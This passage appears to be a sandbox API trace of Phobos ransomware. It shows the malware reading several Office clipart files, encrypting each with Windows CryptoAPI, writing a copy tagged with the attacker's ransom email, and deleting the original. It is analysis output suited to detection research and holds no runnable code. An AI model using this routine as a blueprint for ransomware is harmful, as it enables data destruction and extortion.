nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x22e0, lpOverlapped=0x0) returned 1 [0175.933] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0175.933] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0175.933] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0175.933] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0175.933] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0175.934] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0175.934] CloseHandle (hObject=0x2e0) returned 1 [0175.934] CloseHandle (hObject=0x2c8) returned 1 [0175.934] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0175.935] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0175.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0175.936] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1472) returned 1 [0175.936] CloseHandle (hObject=0x2c8) returned 1 [0175.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0175.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0175.936] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0175.936] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0175.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0175.937] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1710) returned 1 [0175.937] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0175.937] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x5c0, lpOverlapped=0x0) returned 1 [0176.115] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5d0) returned 1 [0176.115] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x5d0, lpOverlapped=0x0) returned 1 [0176.116] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d17d0) returned 1 [0176.116] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.116] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0176.116] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0176.116] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0176.116] CryptDestroyKey (hKey=0x1d1710) returned 1 [0176.116] CloseHandle (hObject=0x2c8) returned 1 [0176.116] CloseHandle (hObject=0x2e0) returned 1 [0176.116] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0176.119] SetEvent (hEvent=0x298) returned 1 [0176.119] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0176.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0176.119] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=5260) returned 1 [0176.119] CloseHandle (hObject=0x2e0) returned 1 [0176.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0176.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0176.120] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.120] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0176.121] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d16d0) returned 1 [0176.121] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.121] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x148c, lpOverlapped=0x0) returned 1 [0176.238] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1490, dwBufLen=0x1490 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1490) returned 1 [0176.238] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1490, lpOverlapped=0x0) returned 1 [0176.239] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1710) returned 1 [0176.239] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.239] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0176.239] CryptDestroyKey (hKey=0x1d1710) returned 1 [0176.239] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0176.240] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0176.240] CloseHandle (hObject=0x2e0) returned 1 [0176.240] CloseHandle (hObject=0x2c8) returned 1 [0176.240] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0176.241] SetEvent (hEvent=0x298) returned 1 [0176.241] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0176.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0176.242] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=11152) returned 1 [0176.242] CloseHandle (hObject=0x2c8) returned 1 [0176.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0176.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0176.242] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.242] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0176.243] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1b50) returned 1 [0176.243] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.243] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2b90, lpOverlapped=0x0) returned 1 [0176.712] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2ba0, dwBufLen=0x2ba0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2ba0) returned 1 [0176.712] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2ba0, lpOverlapped=0x0) returned 1 [0176.713] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0176.714] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.714] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0176.714] CryptDestroyKey (hKey=0x1d1910) returned 1 [0176.714] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0176.714] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0176.714] CloseHandle (hObject=0x2c8) returned 1 [0176.714] CloseHandle (hObject=0x2e0) returned 1 [0176.714] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0176.716] SetEvent (hEvent=0x298) returned 1 [0176.716] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0176.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0176.717] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=9010) returned 1 [0176.717] CloseHandle (hObject=0x2e0) returned 1 [0176.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0176.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0176.717] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.717] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0176.718] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1610) returned 1 [0176.718] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.718] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2332, lpOverlapped=0x0) returned 1 [0176.896] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2340, dwBufLen=0x2340 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2340) returned 1 [0176.896] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2340, lpOverlapped=0x0) returned 1 [0176.902] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0176.902] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.902] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0176.902] CryptDestroyKey (hKey=0x1d1910) returned 1 [0176.902] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0176.903] CryptDestroyKey (hKey=0x1d1610) returned 1 [0176.903] CloseHandle (hObject=0x2e0) returned 1 [0176.903] CloseHandle (hObject=0x2c8) returned 1 [0176.903] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0176.905] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0176.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0176.906] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=15164) returned 1 [0176.906] CloseHandle (hObject=0x2c8) returned 1 [0176.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0176.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0176.906] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.906] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0176.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0176.907] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1890) returned 1 [0176.907] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0176.907] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x3b3c, lpOverlapped=0x0) returned 1 [0177.268] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3b40, dwBufLen=0x3b40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3b40) returned 1 [0177.268] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x3b40, lpOverlapped=0x0) returned 1 [0177.269] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d18d0) returned 1 [0177.269] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.269] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.269] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0177.269] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.269] CryptDestroyKey (hKey=0x1d1890) returned 1 [0177.269] CloseHandle (hObject=0x2c8) returned 1 [0177.269] CloseHandle (hObject=0x2e0) returned 1 [0177.269] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0177.271] SetEvent (hEvent=0x298) returned 1 [0177.271] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.271] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2412) returned 1 [0177.272] CloseHandle (hObject=0x2e0) returned 1 